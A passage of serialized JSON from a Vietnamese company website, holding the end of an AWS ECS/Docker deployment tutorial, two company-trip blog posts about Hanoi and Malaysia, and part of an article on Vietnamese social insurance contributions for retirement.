Cluster",[11,7832,7833],{},"3. Chọn EC2 Linux + Networking làm mẫu, nhấn Next Step.",[11,7835,7836],{},"4. Đặt tên cho cluster (ví dụ: \"ecs-nodejs-app-cluster\").",[11,7838,7839],{},"5. Tại hạng mục EC2 Instance Type để mặc định hoặc chọn \"t2.micro\" .",[11,7841,7842],{},"6. Tại hạng mục Number of instances nhập là \"1\" và EBS Storage nhập \"30\".",[11,7844,7845],{},"7. Tại hạng mục Key pair để nguyên mặc định hoặc chọn key đã tồn tại nếu bạn muốn truy cập SSH vào EC2 instance đối tượng.",[11,7847,7848],{},"8. Tại hạng mục VPC chọn Create a new VPC để tạo mới, sau đó cuộn xuống.",[11,7850,7851],{},"9. Tại hạng mục Container instance IAM role chọn ROLE mà chúng ta đã tạo (ví dụ: \"ECStoEC2role\"), sau đó chọn Create.",[533,7853],{"className":7854,"alt":66,"src":7855,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28125454\u002Fcluster_1-1024x784.png",[11,7857,7858],{},"Sẽ mất vài phút để xử lý xong. Sau khi được xử lý, bạn sẽ có thể chọn View Cluster và thấy trạng thái được thiết lập Active.",[498,7860,7862],{"id":7861},"_10-tạo-service-để-chạy-cluster","10. Tạo Service để chạy Cluster",[11,7864,7865],{},"Bây giờ bắt đầu tạo service để chạy cluster này.",[533,7867],{"className":7868,"alt":66,"src":7869,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28125848\u002Fservice-1024x316.png",[11,7871,7872],{},"Từng bước tạo Service:",[855,7874,7875,7878,7881,7884,7887,7890,7893,7896,7899],{"style":2672},[11,7876,7877],{},"1. Từ danh mục bên trái của ECS, chọn Task Definition, sau đó chọn task của bạn (ví dụ: \"ecs-nodejs-app-task\").",[11,7879,7880],{},"2. Chọn version sửa đổi mới nhất.",[11,7882,7883],{},"3. Từ danh mục Action (bên cạnh Create new revision), chọn Create Service.",[11,7885,7886],{},"4. Trong trang Configure Service, tại hạng mục Launch type chọn EC2.",[11,7888,7889],{},"5. Tại hạng mục Cluster, chọn cluster đã tạo (ví dụ: \"ecs-nodejs-app-cluster\")",[11,7891,7892],{},"6. Tại hạng mục Service name, đặt tên service (ví dụ: \"ecs-nodejs-app-service\")",[11,7894,7895],{},"7. Tại hạng mục Number of Tasks nhập \"1\".",[11,7897,7898],{},"8. Bỏ qua tất cả các trường và trang khác, di chuyển đến trang Step 4, cuộn xuống và nhấp vào Create Service.",[11,7900,7901],{},"9. Trên trang Launch Status, bạn sẽ thấy các dấu check màu xanh lục cho Service đã tạo. Chọn View Service. Nếu Last Status trong tab Tasks là \"PENDING\", hãy đợi một vài phút và sau đó nó sẽ tự chuyển sang \"RUNNING\" (hoặc nhấp vào biểu tượng làm mới ở bên phải).",[533,7903],{"className":7904,"alt":66,"src":7905,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130204\u002Fservice_1-1024x822.png",[11,7907,7908],{},"Từ Cluster, chọn tab EC2 instances, nhấn vào Container Instance đối tượng để lấy link DNS công khai.",[11,7910,7911,7915],{},[533,7912],{"className":7913,"alt":66,"src":7914,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130521\u002Fec2-1024x476.png",[570,7916],{},[533,7918],{"className":7919,"alt":66,"src":7920,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130712\u002Fdns-1024x490.png",[11,7922,7923],{},"Truy cập DNS để xem ứng dụng của chúng ta!",[11,7925,7926],{},[20,7927,7928],{},"ec2-52-193-75-195.ap-northeast-1.compute.amazonaws.com",[533,7930],{"className":7931,"alt":66,"src":7932,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130829\u002Fdemo.png",[11,7934,7935,7936,974],{},"Liên kết source code cho phần Docker từ ",[58,7937,7940],{"href":7938,"rel":7939},"https:\u002F\u002Fgitlab.com\u002Fbwv-hp\u002Fecs-demo.git",[62],"Github",[498,7942,7462],{"id":5255},[11,7944,7945],{},[58,7946,7947],{"href":7947,"rel":7948},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonECS\u002Flatest\u002Fdeveloperguide\u002Fgetting-started.html",[62],[11,7950,7951],{},[58,7952,7953],{"href":7953,"rel":7954},"https:\u002F\u002Fblog.clairvoyantsoft.com\u002Fdeploy-and-run-docker-images-on-aws-ecs-85a17a073281",[62],[11,7956,7957],{},[58,7958,7959],{"href":7959,"rel":7960},"https:\u002F\u002Fmedium.com\u002Fboltops\u002Fgentle-introduction-to-how-aws-ecs-works-with-example-tutorial-cea3d27ce63d",[62],{"title":66,"searchDepth":67,"depth":67,"links":7962},[7963,7964,7965,7966,7967,7968,7969,7970,7971,7972,7973],{"id":7513,"depth":67,"text":7514},{"id":7559,"depth":67,"text":7560},{"id":7569,"depth":67,"text":7570},{"id":7609,"depth":67,"text":7610},{"id":7622,"depth":67,"text":7623},{"id":7635,"depth":67,"text":7636},{"id":7671,"depth":67,"text":7672},{"id":7754,"depth":67,"text":7755},{"id":7814,"depth":67,"text":7815},{"id":7861,"depth":67,"text":7862},{"id":5255,"depth":67,"text":7462},"2021-05-18","Trong hướng dẫn này, tôi sẽ hướng dẫn bạn các bước về cách đóng gói một ứng dụng Node.js và sau đó triển khai nó lên Amazon Web Services (AWS) bằng cách sử dụng Amazon Elastic Container Registry (ECR) và Amazon Elastic Container Service (ECS). Chúng ta sẽ làm điều đó như sau",{},"\u002Fvi\u002Fnews\u002Fdeploying-node-app-to-ecs-with-docker",{"title":7505,"description":7975},"vi\u002Fnews\u002Fdeploying-node-app-to-ecs-with-docker","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28132456\u002Fecs-t.png","RhtzfbkOqtn24tUJt9kl2k4aFfRq9JtCHugJyyts-HM",{"id":7983,"title":7984,"body":7985,"category":2902,"created by":6140,"date":8101,"description":8102,"extension":72,"meta":8103,"navigation":74,"path":8104,"sections":76,"seo":8105,"stem":8106,"thumbnail":8107,"__hash__":8108},"content_vi\u002Fvi\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi.md","DU LỊCH CÔNG TY NĂM 2024 - HÀNH TRÌNH KHÁM PHÁ THỦ ĐÔ HÀ NỘI",{"type":8,"value":7986,"toc":8099},[7987,7990,7993,7996,8000,8003,8007,8010,8014,8017,8021,8024,8032,8036,8039,8047,8051,8054,8062,8070,8078,8082,8085,8089,8092,8096],[11,7988,7989],{},"Chuyến du lịch Hà Nội 3 ngày 2 đêm - hành trình khám phá đầy thú vị của gia đình Briswell.",[11,7991,7992],{},"Bạn có tò mò gia đình Briswell đã làm gì, đã đi đâu và đã cảm nhận như thế nào khi đến với Hà Nội không? Cùng chúng mình tìm hiểu xem những điều gì đã khiến cả nhà say đắm Hà Nội đến vậy nhé.",[11,7994,7995],{},"Mọi người cùng nhau dạo quanh Hồ Gươm, viếng thăm chùa Trấn Quốc, chiêm ngưỡng nét đẹp cổ kính của nơi này. ",[533,7997],{"className":7998,"alt":66,"src":7999,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F28160844\u002Fcompany-trip-1-1024x768.png",[11,8001,8002],{},"Chúng mình đã có thêm nhiều kiến thức bổ ích khi tham quan Văn Miếu – Quốc Tử Giám, tìm hiểu về lịch sử giáo dục của Việt Nam.",[533,8004],{"className":8005,"alt":66,"src":8006,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105510\u002F1-1024x768.png",[11,8008,8009],{},"Thưởng thức bún chả Hà Nội chính gốc - một trong những món ăn nhất định phải thử khi ghé đến Thủ đô.",[533,8011],{"className":8012,"alt":66,"src":8013,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105521\u002Fbun-cha-ha-noi-03-768x908.jpg",[11,8015,8016],{},"Bia hơi Hà Nội - một biểu tượng của văn hóa ẩm thực thủ đô, linh hồn của những buổi tụ tập bạn bè. Mọi người cùng nhau nâng ly, cùng nhau chia sẻ những khoảnh khắc đáng nhớ.",[533,8018],{"className":8019,"alt":66,"src":8020,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105517\u002F460638472_8467118276683142_8251668091009759416_n-1024x768.jpg",[11,8022,8023],{},"Ngồi trong một quán cà phê nhỏ, nhâm nhi ly cà phê trứng nóng hổi, hương thơm nồng lan tỏa khắp không gian, cảm nhận rõ sự ấm áp. Từng ngụm cà phê sánh mịn, thơm lừng, khiến chúng mình cảm thấy thư thái, xua tan mọi mệt mỏi.",[11,8025,8026,8030],{},[533,8027],{"className":8028,"alt":66,"src":8029,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105643\u002FUntitled-design-11-768x768.png",[570,8031],{},[533,8033],{"className":8034,"alt":66,"src":8035,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110232\u002Fimage-3-1024x768.png",[11,8037,8038],{},"Chùa Một Cột như một bông sen thanh khiết giữa lòng Hà Nội, mang đến cảm giác bình yên và thư thái.",[11,8040,8041,8045],{},[533,8042],{"className":8043,"alt":66,"src":8044,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105616\u002FUntitled-design-4-1152x1536.png",[570,8046],{},[533,8048],{"className":8049,"alt":66,"src":8050,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110857\u002FUntitled-design-5-1024x768.png",[11,8052,8053],{},"Cả nhà cùng nhau đến viếng Lăng Bác. Không khí trang nghiêm, thành kính bao trùm khắp nơi, mỗi người đều cảm thấy lòng mình lắng lại, như muốn bày tỏ lòng biết ơn sâu sắc với vị Chủ tịch kính yêu.",[11,8055,8056,8060],{},[533,8057],{"className":8058,"alt":66,"src":8059,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110516\u002FDSC_0004-1-1024x680.jpg",[570,8061],{},[11,8063,8064,8068],{},[533,8065],{"className":8066,"alt":66,"src":8067,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105535\u002FUntitled-design-1-1152x1536.png",[570,8069],{},[11,8071,8072,8076],{},[533,8073],{"className":8074,"alt":66,"src":8075,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105554\u002FUntitled-design-2-1152x1536.png",[570,8077],{},[533,8079],{"className":8080,"alt":66,"src":8081,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105602\u002FUntitled-design-3-1152x1536.png",[11,8083,8084],{},"Chùa Tam Chúc khiến tất cả choáng ngợp bởi vẻ đẹp hùng vĩ của thiên nhiên và sự tinh xảo của kiến trúc.",[533,8086],{"className":8087,"alt":66,"src":8088,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105635\u002FUntitled-design-8.png",[11,8090,8091],{},"Cùng nhau thưởng thức bữa tối tại nhà hàng.",[533,8093],{"className":8094,"alt":66,"src":8095,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105654\u002Fz5859754767327_a151475f70ba59c502a2b5d65003a467-1152x1536.jpg",[11,8097,8098],{},"Cuốn album kỷ niệm của gia đình Briswell đã thêm một chương đầy màu sắc với những hình ảnh và câu chuyện về Hà Nội. Chúng mình tin rằng, những chuyến đi tiếp theo sẽ mang đến nhiều bất ngờ và hấp dẫn hơn nữa. Hãy cùng chờ đón nhé!!!",{"title":66,"searchDepth":67,"depth":67,"links":8100},[],"2024-10-28","Chuyến du lịch Hà Nội 3 ngày 2 đêm - hành trình khám phá đầy thú vị của gia đình Briswell. Bạn có tò mò gia đình Briswell đã làm gì, đã đi đâu và đã cảm nhận như thế nào khi đến với Hà Nội không? Cùng chúng mình tìm hiểu xem những điều gì đã khiến cả nhà say đắm Hà Nội đến vậy nhé.",{},"\u002Fvi\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi",{"title":7984,"description":8102},"vi\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F28160808\u002Fcompany-trip-2.png","Gs-RkJVWmtRwawu2-41VRY3LlARXkDrZ-gCwEJzRgFc",{"id":8110,"title":8111,"body":8112,"category":2902,"created by":6140,"date":8321,"description":8322,"extension":72,"meta":8323,"navigation":74,"path":8324,"sections":76,"seo":8325,"stem":8326,"thumbnail":8327,"__hash__":8328},"content_vi\u002Fvi\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia.md","DU LỊCH CÔNG TY NĂM 2025 - MALAYSIA",{"type":8,"value":8113,"toc":8319},[8114,8117,8120,8123,8128,8133,8136,8139,8143,8146,8150,8153,8156,8160,8163,8171,8175,8178,8190,8195,8198,8210,8213,8217,8220,8223,8231,8235,8238,8243,8246,8249,8257,8265,8269,8272,8276,8279,8287,8291,8294,8297,8301,8304,8308,8313,8316],[11,8115,8116],{},"Sau những ngày “chạy deadline miệt mài”, điều gì có thể giúp chúng ta nạp lại năng lượng nhanh chóng nhất? Câu trả lời không gì khác ngoài… Một chuyến du lịch!",[11,8118,8119],{},"Và, Briswell đã quay trở lại với một chuyến đi đầy hứa hẹn rồi đây!",[11,8121,8122],{},"Liệu có gì hấp dẫn đang chờ? Cùng theo chân Briswell khám phá nhé!",[11,8124,8125],{},[20,8126,8127],{},"Briswell Việt Nam - Hành Trình Khám Phá Malaysia 3N2Đ Đầy Trải Nghiệm.",[11,8129,8130],{},[20,8131,8132],{},"Ngày đầu tiên - Khởi đầu chuyến phiêu lưu tại Malaysia",[11,8134,8135],{},"Xuất phát từ Thành phố Hồ Chí Minh, sau vài tiếng bay, mọi người đã đặt chân đến Kuala Lumpur - trung tâm sôi động và hiện đại bậc nhất của Malaysia. ",[11,8137,8138],{},"Nhưng không dừng lại quá lâu, cả đoàn nhanh chóng lên đường di chuyển đến Malacca - thành phố cổ kính mang đậm dấu ấn lịch sử và văn hóa giao thoa Đông - Tây.",[533,8140],{"className":8141,"alt":66,"src":8142,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165451\u002FBia-1024x659.jpg",[11,8144,8145],{},"Tại đây, đoàn ghé thăm Quảng trường Hà Lan - nơi lưu giữ dấu ấn của những nền văn minh châu Âu từng đặt chân đến vùng đất này.",[533,8147],{"className":8148,"alt":66,"src":8149,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165626\u002Fqtr-ha-lan-1024x573.jpg",[11,8151,8152],{},"Malacca, nơi mỗi góc phố kể một câu chuyện.",[11,8154,8155],{},"Phố cổ Jonker - nơi gìn giữ linh hồn của Malacca với những cửa hàng nhỏ xinh mang đậm bản sắc riêng.",[533,8157],{"className":8158,"alt":66,"src":8159,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07171057\u002Fz6903131197020_6cfd8e7b49e866080a4beb5c0333a99a-1024x576.jpg",[11,8161,8162],{},"Nhà thờ St. Paul - công trình cổ kính tọa lạc trên đỉnh đồi Bukit Melaka, mang đến tầm nhìn tuyệt đẹp xuống toàn cảnh thành phố phía dưới.",[11,8164,8165,8169],{},[533,8166],{"className":8167,"alt":66,"src":8168,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07171305\u002Fz6903229292104_4381ec6cefc5d468f342f950585a702e-1024x576.jpg",[570,8170],{},[533,8172],{"className":8173,"alt":66,"src":8174,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08135519\u002FImage-from-iOS-1024x768.jpg",[11,8176,8177],{},"Pháo đài A'Famosa - chứng tích còn sót lại từ thời thuộc địa Bồ Đào Nha.",[11,8179,8180,8184,8186],{},[533,8181],{"className":8182,"alt":66,"src":8183,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165426\u002F7-1152x1536.png",[570,8185],{},[533,8187],{"className":8188,"alt":66,"src":8189,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165353\u002F6-1152x1536.png",[11,8191,8192],{},[20,8193,8194],{},"Ngày thứ 2 - Từ chốn linh thiêng đến \"thành phố không ngủ\"",[11,8196,8197],{},"Khởi đầu ngày mới với hành trình tìm hiểu những giá trị thiêng liêng và huyền bí tại Động Batu - nơi hội tụ vẻ đẹp thiên nhiên, văn hóa Hindu và trải nghiệm tâm linh khó quên giữa lòng Malaysia.",[11,8199,8200,8204,8206],{},[533,8201],{"className":8202,"alt":66,"src":8203,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165644\u002FUntitled-design-1-953x1024.png",[570,8205],{},[533,8207],{"className":8208,"alt":66,"src":8209,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165727\u002FUntitled-design-1152x1536.png",[11,8211,8212],{},"Trước mắt là 272 bậc thang rực rỡ sắc màu dẫn lên hang động nằm giữa vách núi hùng vĩ. Nghe có vẻ “hơi mệt” khi phải leo bộ để khám phá, nhưng không ai muốn bỏ lỡ cơ hội được chinh phục địa danh đặc biệt này.",[533,8214],{"className":8215,"alt":66,"src":8216,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165446\u002Fbac-thang-901x1024.png",[11,8218,8219],{},"Rời khỏi Động Batu, cả đoàn tiếp tục lên đường đến với điểm đến tiếp theo: Cao nguyên Genting - nơi được mệnh danh là “Las Vegas của châu Á”.",[11,8221,8222],{},"Hãy ngắm nhìn khung cảnh lộng lẫy này!",[11,8224,8225,8229],{},[533,8226],{"className":8227,"alt":66,"src":8228,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131604\u002Fcasino-1-895x1024.png",[570,8230],{},[533,8232],{"className":8233,"alt":66,"src":8234,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131718\u002Fz6906341971528_88b814cf8c2567babd1d48423e3fb507-1024x846.jpg",[11,8236,8237],{},"Tại đây, mọi người thoải mái vui chơi, mua sắm và khám phá khu giải trí nổi tiếng Genting Casino. Không khí mát lạnh kết hợp với sự náo nhiệt, ánh đèn rực rỡ khiến nơi này chẳng khác gì một “thành phố không ngủ”. Người thì thử vận may, người thì dạo chơi thư giãn, ai cũng tìm được niềm vui cho riêng mình.",[11,8239,8240],{},[20,8241,8242],{},"Ngày cuối -  Khép lại với những dấu ấn khó phai",[11,8244,8245],{},"Ngày cuối cùng tại Malaysia, cả đoàn tranh thủ “chốt sổ” bằng loạt điểm tham quan nổi bật trước khi về lại Việt Nam.",[11,8247,8248],{},"Chùa Thiên Hậu - ngôi chùa cổ kính tọa lạc tại khu vực trung tâm thành phố, mang đậm dấu ấn văn hóa người Hoa.",[11,8250,8251,8255],{},[533,8252],{"className":8253,"alt":66,"src":8254,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165433\u002F2025-1024x765.jpg",[570,8256],{},[11,8258,8259,8263],{},[533,8260],{"className":8261,"alt":66,"src":8262,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165552\u002Fchua-1152x1536.png",[570,8264],{},[533,8266],{"className":8267,"alt":66,"src":8268,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131911\u002Fz6908508263025_c6f16d305b51405bb75fff8ca367cc0b-1024x576.jpg",[11,8270,8271],{},"Tháp đôi Petronas - biểu tượng của Malaysia, ai cũng tranh thủ “sống ảo” vài kiểu thật chất với background huyền thoại này - không thể không check-in!",[533,8273],{"className":8274,"alt":66,"src":8275,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165700\u002FUntitled-design-2-1046x2048.png",[11,8277,8278],{},"Quảng trường Putrajaya rộng lớn mở ra trước mắt mỗi người một không gian ngập tràn ánh sáng.",[11,8280,8281,8285],{},[533,8282],{"className":8283,"alt":66,"src":8284,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165602\u002FIMG_7989-1024x768.jpg",[570,8286],{},[533,8288],{"className":8289,"alt":66,"src":8290,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165359\u002F7-1024x674.jpg",[11,8292,8293],{},"Từ trung tâm quảng trường, có thể phóng tầm mắt chiêm ngưỡng những công trình kiến trúc nổi bật xung quanh.",[11,8295,8296],{},"Tòa nhà Perdana Putra uy nghi - văn phòng làm việc của Thủ tướng với mái vòm xanh uy nghi và thiết kế đậm chất Hồi giáo.",[533,8298],{"className":8299,"alt":66,"src":8300,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08132203\u002Fz6909717241921_add6abee44a0c8a2b9b0db3ea26a359b-1024x576.jpg",[11,8302,8303],{},"Thánh đường Hồi giáo Putra với kiến trúc hồng pastel nổi bật.",[533,8305],{"className":8306,"alt":66,"src":8307,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165621\u002FNha-tho-1152x1536.png",[11,8309,8310],{},[20,8311,8312],{},"Hành trình khép lại - Kỷ niệm đọng mãi",[11,8314,8315],{},"Từ những tiếng cười giòn tan, những bức ảnh check-in “hết mình”, đến những câu chuyện rôm rả trên xe hay những khoảnh khắc sẻ chia trải nghiệm, tất cả đã góp phần tạo nên những ký ức khó quên.",[11,8317,8318],{},"Biết đâu, trong một ngày không xa, chúng ta sẽ lại cùng nhau xách vali lên, sẵn sàng cho chuyến phiêu lưu mới. Hẹn gặp lại trong hành trình tiếp theo nhé!",{"title":66,"searchDepth":67,"depth":67,"links":8320},[],"2025-10-08","Sau những ngày “chạy deadline miệt mài”, điều gì có thể giúp chúng ta nạp lại năng lượng nhanh chóng nhất? Câu trả lời không gì khác ngoài… Một chuyến du lịch! Và, Briswell đã quay trở lại với một chuyến đi đầy hứa hẹn rồi đây! Liệu có gì hấp dẫn đang chờ? Cùng theo chân Briswell khám phá nhé! Briswell Việt Nam",{},"\u002Fvi\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia",{"title":8111,"description":8322},"vi\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08111953\u002FBia-2025-5.png","_8AoT6szFGWnE55F9Td4PEiXpWcirIgyeGxBG5QMndQ",{"id":8330,"title":8331,"body":8332,"category":69,"created by":70,"date":8387,"description":8336,"extension":72,"meta":8388,"navigation":74,"path":8389,"sections":76,"seo":8390,"stem":8391,"thumbnail":8392,"__hash__":8393},"content_vi\u002Fvi\u002Fnews\u002Fdu-tuoi-huu-nguoi-lao-dong-co-duoc-dong-tiep-bhxh-de-huong-luong-huu-toi-da.md","ĐỦ TUỔI HƯU, NGƯỜI LAO ĐỘNG CÓ ĐƯỢC ĐÓNG TIẾP BHXH ĐỂ HƯỞNG LƯƠNG HƯU TỐI ĐA?",{"type":8,"value":8333,"toc":8385},[8334,8337,8340,8345,8348,8351,8356,8359,8363],[11,8335,8336],{},"Đó là băn khoăn của một số người lao động khi đã đủ tuổi nghỉ hưu nhưng vẫn còn thiếu số năm đóng BHXH để được hưởng lương hưu tối đa 75%.",[11,8338,8339],{},"Về vấn đề này, Bảo hiểm xã hội Việt Nam trả lời như sau:",[11,8341,8342],{},[20,8343,8344],{},"1. Đối với trường hợp người lao động vẫn đang làm việc",[11,8346,8347],{},"Căn cứ quy định tại Khoản 1 Điều 148, Khoản 1 Điều 149 Bộ luật Lao động năm 2019; Điểm a, Điểm b Khoản 1, Khoản 4 Điều 2, Khoản 5 Điều 3 Luật BHXH năm 2014; Khoản 1 Điều 9, Điều 10 Nghị định số 134\u002F2015\u002FNĐ-CP ngày 29\u002F12\u002F2015 của Chính phủ quy định chi tiết một số điều của Luật BHXH về BHXH thất nghiệp, trường hợp người lao động vẫn đang làm việc và thuộc đối tượng tham gia BHXH bắt buộc (làm việc theo hợp đồng lao động không xác định thời hạn, hợp đồng lao động xác định thời hạn, hợp đồng lao động theo mùa vụ hoặc theo một công việc nhất định có thời hạn từ đủ 3 tháng đến dưới 12 tháng, hợp đồng lao động có thời hạn từ đủ 1 tháng đến dưới 3 tháng), thì người lao động và người sử dụng lao động phải đóng BHXH theo quy định cho đến khi chấm dứt hợp đồng lao động. ",[11,8349,8350],{},"Thời gian đóng BHXH này sẽ được cộng dồn để làm cơ sở xác định mức hưởng lương hưu.",[11,8352,8353],{},[20,8354,8355],{},"2. Đối với trường hợp người lao động đã nghỉ việc",[11,8357,8358],{},"Căn cứ quy định tại Khoản 4 Điều 2, Khoản 1 Điều 73, Điểm b Khoản 2 Điều 74 Luật BHXH năm 2014, người lao động vẫn được tiếp tục đóng BHXH tự nguyện theo một trong các phương thức đóng: hằng tháng, 3 tháng, 6 tháng, 12 tháng một lần, hoặc một lần cho nhiều năm về sau (tối đa 5 năm) để được cộng nối thời gian tham gia BHXH trước đó nhằm hưởng mức lương hưu 75% theo quy định của pháp luật.",[11,8360,8361],{},[1277,8362,55],{},[31,8364,8365,8372,8378],{},[34,8366,8367],{},[58,8368,8371],{"href":8369,"rel":8370},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FBo-Luat-lao-dong-2019-333670.aspx",[62],"Bộ luật Lao động năm 2019",[34,8373,8374],{},[58,8375,8377],{"href":2538,"rel":8376},[62],"Luật BHXH năm 2014",[34,8379,8380],{},[58,8381,8384],{"href":8382,"rel":8383},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-134-2015-ND-CP-huong-dan-Luat-Bao-hiem-xa-hoi-ve-bao-hiem-xa-hoi-tu-nguyen-280020.aspx",[62],"Nghị định số 